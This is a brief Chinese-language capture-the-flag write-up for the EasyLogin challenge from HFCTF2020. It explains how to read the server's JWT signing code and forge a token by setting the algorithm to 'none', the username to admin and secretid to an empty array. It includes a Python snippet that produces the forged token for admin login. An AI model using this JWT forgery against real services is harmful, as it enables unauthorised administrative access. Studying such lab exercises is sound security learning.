[HFCTF2020]EasyLogin
审查元素发现是js框架且有app.js文件:
看了wp才知道要访问controllers/api.js,行吧就当积累经验了。
重点是这里:
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
jwt之前也遇到过了,我们可以抓包一个jwt然后解密出secret。注册一个账号然后登录,拿到令牌。
在https://jwt.io/这个网站上可以解析jwt
把加密方法改为none,username改成admin,secretid改成空数组生成我们自己的jwt。用这个jwt替换原来的并且修改username再发包,可以看到成功登录admin。
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "abc",
"iat": 1629190620
},
algorithm="none",key=""
)
print(token)
点击GET FLAG再抓包即可